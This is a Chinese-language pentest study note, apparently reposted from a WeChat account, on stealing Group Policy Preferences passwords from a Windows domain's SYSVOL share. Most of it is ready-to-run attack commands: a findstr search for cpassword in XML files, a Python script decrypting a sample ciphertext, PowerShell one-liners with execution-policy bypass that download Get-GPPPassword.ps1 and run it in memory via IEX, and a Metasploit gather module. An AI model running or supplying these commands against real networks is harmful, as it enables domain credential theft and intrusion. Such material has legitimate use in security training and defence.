内网学习笔记 | 16、组策略凭据获取

  • A+
所属分类:安全文章

0、前言

SYSVOL 是活动目录里的一个用于存储域公共文件服务器副本的共享文件夹,在域中的所有域控之间进行复制,SYSVOL 在所有经过身份验证的域用户或者域信任用户具有读权限的活动目录域范围内共享,所有的域策略均存放在 C:WindowsSYSVOLDOMAINPolicies 目录中。

管理员在域中新建一个组策略后,系统会自动在 SYSVOL 目录中生成一个 XML 文件。

该文件中保存了该组策略更新后的密码,该密码使用 AES-256 算法,但 2012 年微软公布了该密码的私钥,也就是说任何人都可以对其进行解密。

1、查找包含 cpassword 的 XML 文件

浏览 SYSVOL 文件夹,手动查找包含 cpassword 的 XML 文件

内网学习笔记 | 16、组策略凭据获取

或者使用 findstr 自动搜索包含 cpassword 的 XML 文件

findstr /s /i "cpassword" C:WindowsSYSVOL*.xml

内网学习笔记 | 16、组策略凭据获取

2、解密 cpassword 密文

python 脚本

Gpprefdecrypt.py 下载地址:https://raw.githubusercontent.com/leonteale/pentestpackage/master/Gpprefdecrypt.py

python2.7 Gpprefdecrypt.py Wdkeu1drbxqPJm7YAtPtwBtyzcqO88hJUBDD2eseoY0

内网学习笔记 | 16、组策略凭据获取

PowerShell 脚本

PowerSploit 项目中提供了 Get-GPPPassword.ps1 脚本。

脚本下载地址:https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1

直接远程下载脚本执行:

PowerShell.exe -Exec Bypass -C "IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1');Get-GPPPassword"

如果无法下载可以使用 github 代理

PowerShell.exe -Exec Bypass -C "IEX(New-Object Net.WebClient).DownloadString('https://ghproxy.com/https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1');Get-GPPPassword"

内网学习笔记 | 16、组策略凭据获取

或者下载到本地,执行也行

Import-Module .Get-GPPPassword.ps1Get-GPPPassword

如果 PowerShell 由于处在受限模式以至于无法导入脚本,可以使用以下命令绕过。

powershell.exe -exec bypass -command "&{Import-Module .Get-GPPPassword.ps1;Get-GPPPassword}"

MSF

使用 post/windows/gather/credentials/gpp 模块也可以

use post/windows/gather/credentials/gppset session 1run

内网学习笔记 | 16、组策略凭据获取


往期推荐

内网学习笔记 | 15、系统服务权限配置不当利用

内网学习笔记 | 14、发现主机缺失补丁

内网学习笔记 | 13、内网中绕过无法上传文件限制

内网学习笔记 | 16、组策略凭据获取

本文始发于微信公众号(TeamsSix):内网学习笔记 | 16、组策略凭据获取

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: